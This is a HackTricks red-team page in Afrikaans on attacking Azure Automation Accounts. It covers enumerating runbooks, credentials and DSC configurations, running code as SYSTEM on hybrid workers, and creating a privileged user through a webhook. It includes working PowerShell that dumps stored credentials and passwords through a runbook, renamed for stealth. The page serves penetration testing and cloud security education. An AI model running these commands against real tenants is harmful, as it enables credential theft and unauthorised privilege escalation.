Az - Automation Account

Leer & oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Leer & oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Ondersteun HackTricks

• Kyk na die subskripsieplanne!

• Sluit aan by die 💬 Discord-groep of die telegram-groep of volg ons op Twitter 🐦 @hacktricks_live.

• Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.

Basiese Inligting

Uit die dokumentasie: Azure Automatisering bied 'n wolk-gebaseerde automatisering, bedryfstelsel opdaterings, en konfigurasiediens wat konsekwente bestuur oor jou Azure en nie-Azure omgewings ondersteun. Dit sluit prosesautomatisering, konfigurasiebestuur, opdateringsbestuur, gedeelde vermoëns, en heterogene kenmerke in.

Hierdie is soos "geplande take" in Azure wat jou toelaat om dinge (aksies of selfs skripte) uit te voer om die Azure-omgewing te bestuur, te kontroleer en te konfigureer.

Loop As Rekening

Wanneer Loop as Rekening gebruik word, skep dit 'n Azure AD aansoek met 'n self-ondertekende sertifikaat, skep 'n dienshoof en ken die Bydraer rol toe vir die rekening in die huidige subskripsie (baie voorregte). Microsoft beveel aan om 'n Gemanagede Identiteit vir Automatiseringsrekening te gebruik.

Dit sal op 30 September 2023 verwyder word en verander word na Gemanagede Identiteite.

Loopboeke & Werk

Loopboeke laat jou toe om arbitraire PowerShell kode uit te voer. Dit kan misbruik word deur 'n aanvaller om die toestemmings van die aangehegte hoof te steel (indien enige). In die kode van Loopboeke kan jy ook sensitiewe inligting (soos kredensiale) vind.

As jy die werk kan lees, doen dit aangesien dit die uitset van die loop bevat (potensieel sensitiewe inligting).

Gaan na Automatiseringsrekeninge --> <Kies Automatiseringsrekening> --> Loopboeke/Werk/Hibridwerker groepe/Watcher take/kredensiale/variabeles/sertifikate/verbindinge

Hibridwerker

'n Loopboek kan in 'n houer binne Azure of in 'n Hibridwerker (nie-azure masjien) gedra word. Die Log Analytics Agent word op die VM ontplooi om dit as 'n hibridwerker te registreer. Die hibridwerker werke loop as SISTEEM op Windows en nxautomation rekening op Linux. Elke Hibridwerker is geregistreer in 'n Hibridwerker Groep.

Daarom, as jy kan kies om 'n Loopboek in 'n Windows Hibridwerker te loop, sal jy arbitraire opdragte binne 'n eksterne masjien as Sisteem uitvoer (mooi pivot tegniek).

Kompromitteer Staat Konfigurasie (SC)

Uit die dokumentasie: Azure Automatisering Staat Konfigurasie is 'n Azure konfigurasiebestuur diens wat jou toelaat om PowerShell Gewenste Staat Konfigurasie (DSC) konfigurasies vir nodes in enige wolk of plaaslike datacentrum te skryf, te bestuur en te kompileer. Die diens importeer ook DSC Hulpbronne, en ken konfigurasies toe aan teiken nodes, alles in die wolk. Jy kan Azure Automatisering Staat Konfigurasie in die Azure portaal toegang deur Staat konfigurasie (DSC) onder Konfigurasiebestuur te kies.

Sensitiewe inligting kan in hierdie konfigurasies gevind word.

RCE

Dit is moontlik om SC te misbruik om arbitraire skripte in die bestuurde masjiene te loop.

Az - State Configuration RCE

Enumerasie

# Check user right for automation
az extension add --upgrade -n automation
az automation account list # if it doesn't return anything the user is not a part of an Automation group

# Gets Azure Automation accounts in a resource group
Get-AzAutomationAccount

# List & get DSC configs
Get-AzAutomationAccount | Get-AzAutomationDscConfiguration
Get-AzAutomationAccount | Get-AzAutomationDscConfiguration | where {$_.name -match '<name>'} | Export-AzAutomationDscConfiguration -OutputFolder . -Debug
## Automation Accounts named SecurityBaselineConfigurationWS... are there by default (not interesting)

# List & get Run books code
Get-AzAutomationAccount | Get-AzAutomationRunbook
Get-AzAutomationAccount | Get-AzAutomationRunbook | Export-AzAutomationRunbook -OutputFolder /tmp

# List credentials & variables & others
Get-AzAutomationAccount | Get-AzAutomationCredential
Get-AzAutomationAccount | Get-AzAutomationVariable
Get-AzAutomationAccount | Get-AzAutomationConnection
Get-AzAutomationAccount | Get-AzAutomationCertificate
Get-AzAutomationAccount | Get-AzAutomationSchedule
Get-AzAutomationAccount | Get-AzAutomationModule
Get-AzAutomationAccount | Get-AzAutomationPython3Package
## Exfiltrate credentials & variables and the other info loading them in a Runbook and printing them

# List hybrid workers
Get-AzAutomationHybridWorkerGroup -AutomationAccountName <AUTOMATION-ACCOUNT> -ResourceGroupName <RG-NAME>

Skep 'n Runbook

# Get the role of a user on the Automation account
# Contributor or higher = Can create and execute Runbooks
Get-AzRoleAssignment -Scope /subscriptions/<ID>/resourceGroups/<RG-NAME>/providers/Microsoft.Automation/automationAccounts/<AUTOMATION-ACCOUNT>

# Create a Powershell Runbook
Import-AzAutomationRunbook -Name <RUNBOOK-NAME> -Path C:\Tools\username.ps1 -AutomationAccountName <AUTOMATION-ACCOUNT> -ResourceGroupName <RG-NAME> -Type PowerShell -Force -Verbose

# Publish the Runbook
Publish-AzAutomationRunbook -RunbookName <RUNBOOK-NAME> -AutomationAccountName <AUTOMATION-ACCOUNT> -ResourceGroupName <RG-NAME> -Verbose

# Start the Runbook
Start-AzAutomationRunbook -RunbookName <RUNBOOK-NAME> -RunOn Workergroup1 -AutomationAccountName <AUTOMATION-ACCOUNT> -ResourceGroupName <RG-NAME> -Verbose

Exfiltreer Krediete & Veranderlikes gedefinieer in 'n Automatiseringsrekening met behulp van 'n Hardloopboek

# Change the crdentials & variables names and add as many as you need
@'
$creds = Get-AutomationPSCredential -Name <credentials_name>
$runbook_variable = Get-AutomationVariable -name <variable_name>
$runbook_variable
$creds.GetNetworkCredential().username
$creds.GetNetworkCredential().password
'@ | out-file -encoding ascii 'runbook_get_creds.ps1'

$ResourceGroupName = '<resource_group_name>'
$AutomationAccountName = '<auto_acc_name>'
$RunBookName = 'Exif-Credentials' #Change this for stealthness

# Creare Run book, publish, start, and get output
New-AzAutomationRunBook -name $RunBookName -AutomationAccountName $AutomationAccountName -ResourceGroupName $ResourceGroupName -Type PowerShell
Import-AzAutomationRunBook -Path 'runbook_get_creds.ps1' -Name $RunBookName -Type PowerShell -AutomationAccountName $AutomationAccountName -ResourceGroupName $ResourceGroupName -Force
Publish-AzAutomationRunBook -Name $RunBookName -AutomationAccountName $AutomationAccountName -ResourceGroupName $ResourceGroupName
$start = Start-AzAutomationRunBook -Name $RunBookName -AutomationAccountName $AutomationAccountName -ResourceGroupName $ResourceGroupName
start-sleep 20
($start | Get-AzAutomationJob | Get-AzAutomationJobOutput).Summarynt

Jy kan dieselfde ding doen deur 'n bestaande Run Book te wysig, en vanaf die webkonsol.

Stappe om 'n Geoutomatiseerde Hooggeprivilegieerde Gebruiker te Skep

1. Begin 'n Automatiseringsrekening

• Aksie Vereis: Skep 'n nuwe Automatiseringsrekening.

• Spesifieke Instelling: Verseker dat "Create Azure Run As account" geaktiveer is.

2. Importeer en Stel Runbook op

• Bron: Laai die voorbeeld runbook af van MicroBurst GitHub Repository.
• Aksies Vereis:

• Importeer die runbook in die Automatiseringsrekening.

• Publiseer die runbook om dit uitvoerbaar te maak.

• Koppel 'n webhook aan die runbook, wat eksterne triggers moontlik maak.

3. Konfigureer AzureAD Module

• Aksie Vereis: Voeg die AzureAD module by die Automatiseringsrekening.

• Addisionele Stap: Verseker dat alle Azure Automatiseringsmodules opgedateer is na hul nuutste weergawes.

4. Toestemmings Toewysing

• Rol om toe te wys:

• Gebruiker Administrateur

• Subskripsie Eienaar

• Teiken: Wys hierdie rolle aan die Automatiseringsrekening toe vir nodige voorregte.

5. Bewustheid van Potensiële Toegangverlies

• Nota: Wees bewus dat die konfigurasie van sulke outomatisering mag lei tot die verlies van beheer oor die subskripsie.

6. Trigger Gebruiker Skep

• Trigger die webhook om 'n nuwe gebruiker te skep deur 'n POST versoek te stuur.

• Gebruik die PowerShell-skrip wat verskaf is, en verseker dat jy die $uri vervang met jou werklike webhook-URL en die $AccountInfo opdateer met die verlangde gebruikersnaam en wagwoord.

$uri = "<YOUR_WEBHOOK_URL>"
$AccountInfo  = @(@{RequestBody=@{Username="<DESIRED_USERNAME>";Password="<DESIRED_PASSWORD>"}})
$body = ConvertTo-Json -InputObject $AccountInfo
$response = Invoke-WebRequest -Method Post -Uri $uri -Body $body

Verwysings

• https://learn.microsoft.com/en-us/azure/automation/overview
• https://learn.microsoft.com/en-us/azure/automation/automation-dsc-overview
• https://github.com/rootsecdev/Azure-Red-Team#runbook-automation

Leer & oefen AWS Hacking:HackTricks Opleiding AWS Red Team Expert (ARTE) Leer & oefen GCP Hacking: HackTricks Opleiding GCP Red Team Expert (GRTE)

Ondersteun HackTricks

• Kyk na die subskripsie planne!
• Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @hacktricks_live.
• Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.